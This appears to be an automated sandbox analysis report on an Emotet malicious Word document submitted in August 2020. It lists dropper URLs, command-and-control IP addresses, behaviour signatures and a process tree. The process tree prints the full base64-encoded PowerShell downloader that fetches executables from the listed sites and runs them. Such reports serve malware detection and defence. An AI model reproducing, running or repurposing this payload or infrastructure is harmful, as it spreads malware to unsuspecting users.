Analysis

  • max time kernel
    136s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28/08/2020, 11:09

General

  • Target
    emotet_e3_9814bfb06f3175001ec302ebd03ed8fae2b6d2e0eea0077648414362b2c285bf_2020-08-28__110749._doc.doc
  • Size 220KB
  • Sample200828-jprdxb52a2
  • SHA256 9814bfb06f3175001ec302ebd03ed8fae2b6d2e0eea0077648414362b2c285bf
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://thirumarantech.com/Vallivilas/attach/zhT/

  • exe.dropper

    http://www.e-ido.com/Jacinta/UlsoWIDCQeCl/

  • exe.dropper

    http://invoice.ae/cuhqw/

  • exe.dropper

    https://www.infoquick.co.uk/repairs_demo/flhNywUb/

  • exe.dropper

    http://iowawebhosting.com/wp-content/file/MJaXnuo/

  • exe.dropper

    http://kittstr.com/crackerbox/attach/FIWw/

  • exe.dropper

    http://jason.net.br/app/js/jquery/font-awesome-4.5.0/r635473/

Extracted

Family
  • emotet

C2
  • 24.26.151.3:80

  • 162.144.42.60:8080

  • 134.209.193.138:443

  • 68.183.233.80:8080

  • 105.209.235.113:8080

  • 198.57.203.63:8080

  • 175.29.183.2:80

  • 178.87.171.199:80

  • 177.32.8.85:80

  • 71.57.180.213:80

  • 190.190.15.20:80

  • 31.146.61.34:80

  • 157.7.164.178:8081

  • 82.239.200.118:80

  • 220.254.198.228:443

  • 41.185.29.128:8080

  • 113.161.148.81:80

  • 51.38.201.19:7080

  • 179.5.118.12:80

  • 66.61.94.36:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_9814bfb06f3175001ec302ebd03ed8fae2b6d2e0eea0077648414362b2c285bf_2020-08-28__110749._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:720
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3848
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAHQAbQBqAF8AaABsAD0AKAAnAEEAcQAnACsAKAAnAG4AOQBkACcAKwAnADUAcwAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVABFAG0AcABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAGAAUgBgAEkAYABUAFkAcABSAG8AVABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACcAMgAsACcAKwAnACAAJwArACgAJwB0AGwAcwAnACsAJwAxADEAJwArACcALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBqAHEAegBzAHkAOQAgAD0AIAAoACcAQgAnACsAJwBwACcAKwAoACcAdgB1AHkAJwArACcAeQBlAHYAJwApACkAOwAkAEIANwA1AHoAYgB5AHYAPQAoACgAJwBPACcAKwAnAF8AaAB4ACcAKwAnAGsAYgAnACkAKwAnAGEAJwApADsAJABGAGgAZQA2AHkAcABfAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAKAAnAEQAeABPAHcAbwAnACsAJwByACcAKwAnAGQARAB4AE8AMgAwADEAJwApACsAKAAnADkARAAnACsAJwB4ACcAKQArACcATwAnACkALgAiAFIAYABFAFAATABhAGMARQAiACgAKAAnAEQAJwArACcAeABPACcAKQAsACcAXAAnACkAKQArACQATgBqAHEAegBzAHkAOQArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEwANgBpAGMAYgBtADEAPQAoACcAVgB4ACcAKwAoACcAYwBjACcAKwAnAG8AOQAnACkAKwAnAGsAJwApADsAJABQAHYAcQA0ADIAMwB0AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMAbABJAGUAbgB0ADsAJABaAHcAcwBvAGQAZgAyAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwApACsAKAAnAGkAJwArACcAcgB1AG0AYQByAGEAbgB0AGUAJwArACcAYwAnACsAJwBoACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwBWACcAKwAnAGEAJwArACgAJwBsAGwAJwArACcAaQB2AGkAbAAnACkAKwAoACcAYQAnACsAJwBzAC8AYQAnACkAKwAnAHQAJwArACgAJwB0AGEAJwArACcAYwBoAC8AegAnACkAKwAnAGgAJwArACgAJwBUAC8AKgBoAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwB3ACcAKwAnAHcAJwApACsAKAAnAHcAJwArACcALgBlAC0AJwApACsAKAAnAGkAZABvAC4AJwArACcAYwBvAG0AJwApACsAJwAvAEoAJwArACcAYQBjACcAKwAnAGkAJwArACcAbgAnACsAKAAnAHQAJwArACcAYQAnACsAJwAvAFUAbABzAG8AVwBJAEQAQwAnACsAJwBRAGUAQwBsACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBpACcAKwAnAG4AJwArACcAdgBvAGkAYwAnACkAKwAoACcAZQAnACsAJwAuACcAKwAnAGEAZQAvAGMAdQBoAHEAdwAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAdwB3AHcAJwArACcALgAnACkAKwAoACcAaQBuAGYAbwBxAHUAJwArACcAaQAnACsAJwBjACcAKQArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrAC8AcgBlACcAKwAnAHAAYQBpACcAKwAnAHIAJwApACsAJwBzACcAKwAnAF8AJwArACgAJwBkAGUAbQBvAC8AJwArACcAZgBsAGgAJwArACcATgAnACsAJwB5ACcAKwAnAHcAVQBiAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwBpAG8AJwApACsAJwB3AGEAJwArACgAJwB3AGUAYgAnACsAJwBoACcAKQArACcAbwAnACsAJwBzACcAKwAoACcAdABpAG4AJwArACcAZwAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAnAGYAaQBsAGUALwAnACkAKwAoACcATQBKAGEAWAAnACsAJwBuACcAKwAnAHUAbwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGsAJwApACsAKAAnAGkAdAAnACsAJwB0AHMAdAByAC4AYwBvACcAKQArACgAJwBtAC8AYwByAGEAYwAnACsAJwBrAGUAJwArACcAcgAnACkAKwAoACcAYgBvAHgAJwArACcALwBhAHQAdAAnACsAJwBhACcAKwAnAGMAaAAvACcAKQArACgAJwBGACcAKwAnAEkAVwB3ACcAKQArACgAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwArACcAagBhAHMAbwAnACsAJwBuAC4AbgBlAHQALgBiAHIALwBhACcAKQArACcAcAAnACsAKAAnAHAALwBqACcAKwAnAHMAJwApACsAKAAnAC8AagBxAHUAJwArACcAZQByAHkALwBmACcAKwAnAG8AbgB0ACcAKwAnAC0AYQAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAbwAnACsAJwBtAGUALQA0AC4AJwApACsAKAAnADUAJwArACcALgAwACcAKQArACgAJwAvAHIAJwArACcANgAzADUANAAnACsAJwA3ACcAKQArACcAMwAvACcAKQAuACIAUwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHgAOABsAHIAMAAwAD0AKAAnAFUAbQAnACsAKAAnAHUANgBsADAAJwArACcANAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEcAdQBmADgAMgBfAHQAIABpAG4AIAAkAFoAdwBzAG8AZABmADIAKQB7AHQAcgB5AHsAJABQAHYAcQA0ADIAMwB0AC4AIgBEAG8AdwBgAE4AbABgAG8AYQBkAEYAYABJAEwARQAiACgAJABHAHUAZgA4ADIAXwB0ACwAIAAkAEYAaABlADYAeQBwAF8AKQA7ACQAUAB4AGgANQA4AHQAdgA9ACgAJwBFACcAKwAoACcAYwA2AHAAJwArACcAdgAnACkAKwAnAHMAaQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARgBoAGUANgB5AHAAXwApAC4AIgBMAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMAMQA4ADYANQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABGAGgAZQA2AHkAcABfACkAOwAkAFUANwB4AGYAegBwAHIAPQAoACcATAAnACsAKAAnAGsAMQA0ACcAKwAnADYAJwApACsAJwByADcAJwApADsAYgByAGUAYQBrADsAJABTAHMAMwAyAHIAdABqAD0AKAAoACcARQBmACcAKwAnAHAAJwApACsAKAAnAGUAdQAnACsAJwBoAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAZQBzAGQAZgBqADcAPQAoACgAJwBTADkAcQBpACcAKwAnADcAJwApACsAJwA5ACcAKwAnAGwAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Bpvuyyev.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3516
      • C:\Windows\SysWOW64\FamilySafetyExt\KBDSG.exe
        "C:\Windows\SysWOW64\FamilySafetyExt\KBDSG.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3688

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/720-5-0x000001BACBBD8000-0x000001BACBBDB000-memory.dmp

        memory/720-1-0x000001BACA410000-0x000001BACA414000-memory.dmp

        memory/720-6-0x000001BACBBD8000-0x000001BACBBDB000-memory.dmp

        memory/720-7-0x000001BACBBD5000-0x000001BACBBD8000-memory.dmp

        memory/720-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp

        memory/720-4-0x000001BACBBD8000-0x000001BACBBDB000-memory.dmp

        memory/720-3-0x000001BACBBC9000-0x000001BACBBCC000-memory.dmp

        memory/1844-8-0x00007FFFB1800000-0x00007FFFB21EC000-memory.dmp

        memory/1844-9-0x00000122EA560000-0x00000122EA561000-memory.dmp

        memory/1844-10-0x00000122EA710000-0x00000122EA711000-memory.dmp

        memory/3516-14-0x0000000002240000-0x000000000224C000-memory.dmp

        memory/3688-17-0x0000000002080000-0x000000000208C000-memory.dmp